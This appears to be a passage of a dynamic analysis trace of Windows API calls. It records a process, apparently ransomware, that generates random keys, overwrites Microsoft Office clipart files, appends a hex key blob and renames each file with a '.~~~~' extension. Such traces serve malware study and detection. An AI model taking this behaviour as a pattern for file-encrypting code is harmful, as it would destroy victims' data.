	[0110.458] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.458] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.458] CloseHandle (hObject=0x144) returned 1
	[0110.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c2bf8
	[0110.458] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01164_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01164_.wmf.~~~~")) returned 1
	[0110.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.459] GetLastError () returned 0x0
	[0110.460] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.460] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.460] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.461] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23045070198) returned 1
	[0110.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab73a190, dwHighDateTime=0x1d60e1e)) 
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808fe0
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808fe0 | out: hHeap=0x300000) returned 1
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c2bf8
	[0110.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bec8
	[0110.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c2bf8 | out: hHeap=0x300000) returned 1
	[0110.461] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.461] GetLastError () returned 0x0
	[0110.462] GetLastError () returned 0x0
	[0110.462] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.462] GetLastError () returned 0x0
	[0110.462] GetLastError () returned 0x0
	[0110.582] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe952, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.582] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x16ae, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x16ae, lpOverlapped=0x0) returned 1
	[0110.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.583] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.583] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.583] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.583] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.583] CloseHandle (hObject=0x144) returned 1
	[0110.583] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.583] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01354_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01354_.wmf.~~~~")) returned 1
	[0110.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.584] GetLastError () returned 0x0
	[0110.584] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.585] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.585] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.585] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23057557045) returned 1
	[0110.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab86ac90, dwHighDateTime=0x1d60e1e)) 
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28091d8
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28091d8 | out: hHeap=0x300000) returned 1
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.586] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bff8
	[0110.586] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.586] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.586] GetLastError () returned 0x0
	[0110.586] GetLastError () returned 0x0
	[0110.586] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.586] GetLastError () returned 0x0
	[0110.587] GetLastError () returned 0x0
	[0110.588] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff462, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.588] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xb9e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xb9e, lpOverlapped=0x0) returned 1
	[0110.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.589] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.590] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.590] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.590] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.590] CloseHandle (hObject=0x144) returned 1
	[0110.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.~~~~")) returned 1
	[0110.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.591] GetLastError () returned 0x0
	[0110.591] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.592] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.592] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.592] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23058245742) returned 1
	[0110.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab86ac90, dwHighDateTime=0x1d60e1e)) 
	[0110.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809210
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809210 | out: hHeap=0x300000) returned 1
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.593] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c7b0
	[0110.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.593] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.593] GetLastError () returned 0x0
	[0110.593] GetLastError () returned 0x0
	[0110.593] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.593] GetLastError () returned 0x0
	[0110.594] GetLastError () returned 0x0
	[0110.596] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff378, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.596] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xc88, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0xc88, lpOverlapped=0x0) returned 1
	[0110.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.597] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.597] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.597] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.598] CloseHandle (hObject=0x144) returned 1
	[0110.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.~~~~")) returned 1
	[0110.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.599] GetLastError () returned 0x0
	[0110.600] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.601] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23059142595) returned 1
	[0110.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab890df0, dwHighDateTime=0x1d60e1e)) 
	[0110.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809248
	[0110.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809248 | out: hHeap=0x300000) returned 1
	[0110.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c848
	[0110.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.602] GetLastError () returned 0x0
	[0110.602] GetLastError () returned 0x0
	[0110.602] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.602] GetLastError () returned 0x0
	[0110.602] GetLastError () returned 0x0
	[0110.604] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeb3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.604] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x14c4, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x14c4, lpOverlapped=0x0) returned 1
	[0110.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.605] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.605] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.606] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.606] CloseHandle (hObject=0x144) returned 1
	[0110.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.~~~~")) returned 1
	[0110.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.607] GetLastError () returned 0x0
	[0110.607] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0110.608] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.608] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.608] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23059839447) returned 1
	[0110.608] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab890df0, dwHighDateTime=0x1d60e1e)) 
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2809280
	[0110.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2809280 | out: hHeap=0x300000) returned 1
	[0110.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c8e0
	[0110.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.609] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.609] GetLastError () returned 0x0
	[0110.609] GetLastError () returned 0x0
	[0110.609] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.609] GetLastError () returned 0x0
	[0110.610] GetLastError () returned 0x0
	[0110.612] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffba0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.612] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x460, lpOverlapped=0x0) returned 1
	[0110.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
